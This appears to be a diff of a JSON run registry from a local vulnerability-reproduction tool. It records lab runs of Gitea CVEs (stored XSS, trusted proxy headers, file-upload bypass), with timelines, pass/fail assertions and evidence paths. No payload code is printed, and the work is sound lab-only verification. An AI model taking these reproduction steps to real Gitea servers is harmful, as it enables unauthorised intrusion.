    +        "step": "controlled-attack-chain",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:26:29+00:00",
    +        "step": "browser-replay-after-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:26:29+00:00",
    +        "step": "collect-logs-and-evidence",
    +        "status": "completed",
    +        "detail": "container_logs=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:26:30+00:00",
    +        "step": "cleanup-compose-environment",
    +        "status": "completed",
    +        "detail": "docker compose down completed"
    +      },
    +      {
    +        "at": "2026-03-18T01:26:30+00:00",
    +        "step": "update-registry-and-reports",
    +        "status": "completed",
    +        "detail": "gitea-gitea--CVE-2019-1010261-20260318012624"
    +      }
    +    ],
    +    "success_evaluation": {
    +      "passed": true,
    +      "verification_status": "verified-real",
    +      "blocked_reason": null,
    +      "assertions": [
    +        {
    +          "name": "baseline-ok",
    +          "kind": "baseline-ok",
    +          "passed": true,
    +          "detail": "baseline URLs responded without 5xx or transport errors"
    +        },
    +        {
    +          "name": "runner-success",
    +          "kind": "runner-success",
    +          "passed": true,
    +          "detail": "stored payload rendered inside the browser proof page"
    +        },
    +        {
    +          "name": "browser-present",
    +          "kind": "browser-present",
    +          "passed": true,
    +          "detail": "browser evidence captured"
    +        }
    +      ]
    +    },
    +    "historical_status": "verified-real",
    +    "latest_status": "verified-real",
    +    "started_at": "2026-03-18T01:26:24+00:00",
    +    "finished_at": "2026-03-18T01:26:30+00:00",
    +    "blocked_reason": null,
    +    "report_refs": {
    +      "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624",
    +      "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.md",
    +      "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.html",
    +      "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd"
    +    },
    +    "dashboard_refs": {
    +      "report_html": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.html",
    +      "report_md": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.md",
    +      "timeline": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd",
    +      "bundle": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/run.json"
    +    },
    +    "browser_links": [
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json"
    +    ],
    +    "container_links": [
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/docker/app.log"
    +    ],
    +    "request_links": [
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json",
    +      "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json"
    +    ],
    +    "advisory_meta": {},
    +    "profile_meta": {
    +      "profile_id": "gitea-xss",
    +      "vuln_family": "xss",
    +      "provisioning_mode": "real",
    +      "destructive_risk": "low",
    +      "cleanup_policy": "destroy",
    +      "artifact_source": {
    +        "strategy": "local-minimal-fixture"
    +      },
    +      "success_criteria": [
    +        "Browser proof page renders the stored XSS marker after the controlled payload."
    +      ],
    +      "seed_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Seed stored content page before browser proof capture."
    +        }
    +      ],
    +      "attack_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Runner stores inert script payload and captures proof page."
    +        }
    +      ],
    +      "browser_assertions": {
    +        "required": true
    +      },
    +      "allowed_target_types": [
    +        "lab-local"
    +      ],
    +      "required_services": [
    +        "app"
    +      ]
    +    },
    +    "reasoning_lines": [
    +      "Seed stored content page before browser proof capture.",
    +      "Runner stores inert script payload and captures proof page.",
    +      "Browser proof page renders the stored XSS marker after the controlled payload."
    +    ],
    +    "progress": {
    +      "completed": 12,
    +      "skipped": 0,
    +      "failed": 0,
    +      "blocked": 0,
    +      "planned": 0,
    +      "other": 1
    +    },
    +    "artifact_groups": [
    +      {
    +        "key": "reports",
    +        "label": "\u62a5\u544a\u4e0e\u8fd0\u884c\u4ea7\u7269",
    +        "count": 4,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.html",
    +            "label": "report.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.md",
    +            "label": "report.md",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd",
    +            "label": "timeline.mmd",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/run.json",
    +            "label": "run.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "compose",
    +        "label": "Compose \u7f16\u6392",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/compose/compose.yaml",
    +            "label": "compose.yaml",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "baseline",
    +        "label": "\u57fa\u7ebf\u5feb\u7167",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json",
    +            "label": "baseline.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "attack",
    +        "label": "\u653b\u51fb\u8f93\u51fa",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "browser",
    +        "label": "\u6d4f\u89c8\u5668\u8bc1\u636e",
    +        "count": 10,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png",
    +            "label": "baseline.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html",
    +            "label": "baseline-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json",
    +            "label": "baseline-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json",
    +            "label": "baseline-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json",
    +            "label": "baseline-page.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png",
    +            "label": "proof.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html",
    +            "label": "proof-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json",
    +            "label": "proof-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json",
    +            "label": "proof-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json",
    +            "label": "proof-page.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "container",
    +        "label": "\u5bb9\u5668\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/docker/app.log",
    +            "label": "app.log",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "requests",
    +        "label": "\u8bf7\u6c42\u4e0e\u63a2\u6d4b\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      }
    +    ]
    +  },
    +  {
    +    "run_id": "gitea-gitea--CVE-2018-18926-20260318012526",
    +    "system_id": "gitea",
    +    "advisory_id": "gitea--CVE-2018-18926",
    +    "repro_profile_id": "gitea-proxy-boundary",
    +    "verification_status": "verified-real",
    +    "verification_mode": "real",
    +    "artifact_mode": "local-fixture",
    +    "target_env": "local-docker",
    +    "compose_services": [
    +      "app"
    +    ],
    +    "baseline_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json"
    +    ],
    +    "attack_steps": [
    +      {
    +        "kind": "runner",
    +        "tool": "gitea.proxy-boundary",
    +        "status": "completed",
    +        "status_code": 200,
    +        "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json"
    +      }
    +    ],
    +    "browser_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json"
    +    ],
    +    "browser_evidence": {
    +      "required": true,
    +      "present": true,
    +      "refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json"
    +      ],
    +      "baseline_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json"
    +      ],
    +      "proof_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json"
    +      ],
    +      "baseline_title": "Gitea Proxy Boundary Fixture",
    +      "proof_title": "Gitea Proxy Boundary Fixture - proof",
    +      "error_kind": null,
    +      "reason": null
    +    },
    +    "container_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/docker/app.log"
    +    ],
    +    "request_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json"
    +    ],
    +    "compose_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/compose/compose.yaml"
    +    ],
    +    "timeline": [
    +      {
    +        "at": "2026-03-18T01:25:26+00:00",
    +        "step": "select-advisory",
    +        "status": "completed",
    +        "detail": "gitea--CVE-2018-18926"
    +      },
    +      {
    +        "at": "2026-03-18T01:25:26+00:00",
    +        "step": "resolve-repro-profile",
    +        "status": "completed",
    +        "detail": "gitea-proxy-boundary"
    +      },
    +      {
    +        "at": "2026-03-18T01:25:27+00:00",
    +        "step": "doctor",
    +        "status": "completed",
    +        "detail": "all checks passed"
    +      },
    +      {
    +        "at": "2026-03-18T01:25:41+00:00",
    +        "step": "provision-compose-environment",
    +        "status": "ready",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:25:42+00:00",
    +        "step": "wait-ready",
    +        "status": "completed",
    +        "detail": "baseline urls ready (1)"
    +      },
    +      {
    +        "at": "2026-03-18T01:25:42+00:00",
    +        "step": "seed-environment",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:25:42+00:00",
    +        "step": "baseline-snapshot",
    +        "status": "completed",
    +        "detail": "urls=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:25:42+00:00",
    +        "step": "browser-replay-before-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:25:42+00:00",
    +        "step": "controlled-attack-chain",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:25:43+00:00",
    +        "step": "browser-replay-after-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:25:43+00:00",
    +        "step": "collect-logs-and-evidence",
    +        "status": "completed",
    +        "detail": "container_logs=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:25:45+00:00",
    +        "step": "cleanup-compose-environment",
    +        "status": "completed",
    +        "detail": "docker compose down completed"
    +      },
    +      {
    +        "at": "2026-03-18T01:25:45+00:00",
    +        "step": "update-registry-and-reports",
    +        "status": "completed",
    +        "detail": "gitea-gitea--CVE-2018-18926-20260318012526"
    +      }
    +    ],
    +    "success_evaluation": {
    +      "passed": true,
    +      "verification_status": "verified-real",
    +      "blocked_reason": null,
    +      "assertions": [
    +        {
    +          "name": "baseline-ok",
    +          "kind": "baseline-ok",
    +          "passed": true,
    +          "detail": "baseline URLs responded without 5xx or transport errors"
    +        },
    +        {
    +          "name": "runner-success",
    +          "kind": "runner-success",
    +          "passed": true,
    +          "detail": "trusted forwarded headers crossed the boundary"
    +        },
    +        {
    +          "name": "browser-present",
    +          "kind": "browser-present",
    +          "passed": true,
    +          "detail": "browser evidence captured"
    +        }
    +      ]
    +    },
    +    "historical_status": "verified-real",
    +    "latest_status": "verified-real",
    +    "started_at": "2026-03-18T01:25:26+00:00",
    +    "finished_at": "2026-03-18T01:25:45+00:00",
    +    "blocked_reason": null,
    +    "report_refs": {
    +      "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526",
    +      "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.md",
    +      "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.html",
    +      "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd"
    +    },
    +    "dashboard_refs": {
    +      "report_html": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/report.html",
    +      "report_md": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/report.md",
    +      "timeline": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd",
    +      "bundle": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/run.json"
    +    },
    +    "browser_links": [
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json"
    +    ],
    +    "container_links": [
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/docker/app.log"
    +    ],
    +    "request_links": [
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json",
    +      "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json"
    +    ],
    +    "advisory_meta": {},
    +    "profile_meta": {
    +      "profile_id": "gitea-proxy-boundary",
    +      "vuln_family": "proxy-boundary",
    +      "provisioning_mode": "real",
    +      "destructive_risk": "low",
    +      "cleanup_policy": "destroy",
    +      "artifact_source": {
    +        "strategy": "local-minimal-fixture"
    +      },
    +      "success_criteria": [
    +        "Local fixture proves trusted proxy headers cross the admin boundary."
    +      ],
    +      "seed_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Seed forwarded-header boundary fixture with clean state."
    +        }
    +      ],
    +      "attack_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Runner performs local forwarded-header trust proof only inside the fixture."
    +        }
    +      ],
    +      "browser_assertions": {
    +        "required": true
    +      },
    +      "allowed_target_types": [
    +        "lab-local"
    +      ],
    +      "required_services": [
    +        "app"
    +      ]
    +    },
    +    "reasoning_lines": [
    +      "Seed forwarded-header boundary fixture with clean state.",
    +      "Runner performs local forwarded-header trust proof only inside the fixture.",
    +      "Local fixture proves trusted proxy headers cross the admin boundary."
    +    ],
    +    "progress": {
    +      "completed": 12,
    +      "skipped": 0,
    +      "failed": 0,
    +      "blocked": 0,
    +      "planned": 0,
    +      "other": 1
    +    },
    +    "artifact_groups": [
    +      {
    +        "key": "reports",
    +        "label": "\u62a5\u544a\u4e0e\u8fd0\u884c\u4ea7\u7269",
    +        "count": 4,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/report.html",
    +            "label": "report.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/report.md",
    +            "label": "report.md",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd",
    +            "label": "timeline.mmd",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/run.json",
    +            "label": "run.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "compose",
    +        "label": "Compose \u7f16\u6392",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/compose/compose.yaml",
    +            "label": "compose.yaml",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "baseline",
    +        "label": "\u57fa\u7ebf\u5feb\u7167",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json",
    +            "label": "baseline.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "attack",
    +        "label": "\u653b\u51fb\u8f93\u51fa",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "browser",
    +        "label": "\u6d4f\u89c8\u5668\u8bc1\u636e",
    +        "count": 10,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png",
    +            "label": "baseline.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html",
    +            "label": "baseline-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json",
    +            "label": "baseline-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json",
    +            "label": "baseline-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json",
    +            "label": "baseline-page.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png",
    +            "label": "proof.png",
    +            "kind": "image"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html",
    +            "label": "proof-dom.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json",
    +            "label": "proof-console.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json",
    +            "label": "proof-network.json",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json",
    +            "label": "proof-page.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "container",
    +        "label": "\u5bb9\u5668\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/docker/app.log",
    +            "label": "app.log",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "requests",
    +        "label": "\u8bf7\u6c42\u4e0e\u63a2\u6d4b\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      }
    +    ]
    +  },
       {
         "run_id": "gitea-livecheck-20260316",
         "system_id": "gitea",
    @@ -102,47 +3108,7 @@
         "browser_links": [],
         "container_links": [],
         "request_links": [],
    -    "advisory_meta": {
    -      "canonical_id": "gitea--CVE-2025-68939",
    -      "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    -      "summary": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    -      "display_name": "Gitea",
    -      "system_id": "gitea",
    -      "category": "platforms",
    -      "severity": "unknown",
    -      "cvss_score": null,
    -      "exploit_status": "unknown",
    -      "published_at": "2025-12-30T01:49:57Z",
    -      "updated_at": "2026-03-03T04:57:48.777563Z",
    -      "official_source_url": "https://github.com/advisories/GHSA-263q-5cv3-xq9g",
    -      "secondary_source_urls": [
    -        "https://nvd.nist.gov/vuln/detail/CVE-2025-68939",
    -        "https://blog.gitea.com/release-of-1.23.0",
    -        "https://github.com/go-gitea/gitea/pull/32151",
    -        "https://github.com/go-gitea/gitea/releases/tag/v1.23.0"
    -      ],
    -      "aliases": [
    -        "BIT-gitea-2025-68939",
    -        "CVE-2025-68939",
    -        "GHSA-263q-5cv3-xq9g",
    -        "GO-2025-4261"
    -      ],
    -      "secure_code_topics": [
    -        "authz-server-side-recheck",
    -        "token-cookie-storage",
    -        "proxy-trust-boundary",
    -        "plugin-extension-trust-policy"
    -      ],
    -      "verification_status": "blocked-artifact",
    -      "verification_mode": "real",
    -      "artifact_mode": "official-image",
    -      "blocked_reason": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?",
    -      "browser_evidence": {
    -        "required": false,
    -        "present": false,
    -        "refs": []
    -      }
    -    },
    +    "advisory_meta": {},
         "profile_meta": {
           "profile_id": "file-upload-generic",
           "vuln_family": "file-upload",
    @@ -180,11 +3146,9 @@
           ]
         },
         "reasoning_lines": [
    -      "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
           "Use inert marker files and non-executable payloads by default.",
           "Validate extension, storage path, and preview behavior using inert files.",
    -      "Upload acceptance or bypass path is demonstrated with reversible test artifacts.",
    -      "Current blocker: unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?"
    +      "Upload acceptance or bypass path is demonstrated with reversible test artifacts."
         ],
         "progress": {
           "completed": 3,
    @@ -273,7 +3237,7 @@
           "bundle": "/runs/gitea-gitea--CVE-2025-68939-20260317063330/run.json"
         },
         "browser_evidence": {
    -      "required": false,
    +      "required": true,
           "present": false,
           "refs": []
         },
    @@ -283,47 +3247,7 @@
           "/runs/gitea-gitea--CVE-2025-68939-20260317063330/logs/attack.json",
           "/runs/gitea-gitea--CVE-2025-68939-20260317063330/logs/baseline.json"
         ],
    -    "advisory_meta": {
    -      "canonical_id": "gitea--CVE-2025-68939",
    -      "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    -      "summary": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    -      "display_name": "Gitea",
    -      "system_id": "gitea",
    -      "category": "platforms",
    -      "severity": "unknown",
    -      "cvss_score": null,
    -      "exploit_status": "unknown",
    -      "published_at": "2025-12-30T01:49:57Z",
    -      "updated_at": "2026-03-03T04:57:48.777563Z",
    -      "official_source_url": "https://github.com/advisories/GHSA-263q-5cv3-xq9g",
    -      "secondary_source_urls": [
    -        "https://nvd.nist.gov/vuln/detail/CVE-2025-68939",
    -        "https://blog.gitea.com/release-of-1.23.0",
    -        "https://github.com/go-gitea/gitea/pull/32151",
    -        "https://github.com/go-gitea/gitea/releases/tag/v1.23.0"
    -      ],
    -      "aliases": [
    -        "BIT-gitea-2025-68939",
    -        "CVE-2025-68939",
    -        "GHSA-263q-5cv3-xq9g",
    -        "GO-2025-4261"
    -      ],
    -      "secure_code_topics": [
    -        "authz-server-side-recheck",
    -        "token-cookie-storage",
    -        "proxy-trust-boundary",
    -        "plugin-extension-trust-policy"
    -      ],
    -      "verification_status": "blocked-artifact",
    -      "verification_mode": "real",
    -      "artifact_mode": "official-image",
    -      "blocked_reason": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?",
    -      "browser_evidence": {
    -        "required": false,
    -        "present": false,
    -        "refs": []
    -      }
    -    },
    +    "advisory_meta": {},
         "profile_meta": {
           "profile_id": "file-upload-generic",
           "vuln_family": "file-upload",
    @@ -361,11 +3285,9 @@
           ]
         },
         "reasoning_lines": [
    -      "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
           "Use inert marker files and non-executable payloads by default.",
           "Validate extension, storage path, and preview behavior using inert files.",
    -      "Upload acceptance or bypass path is demonstrated with reversible test artifacts.",
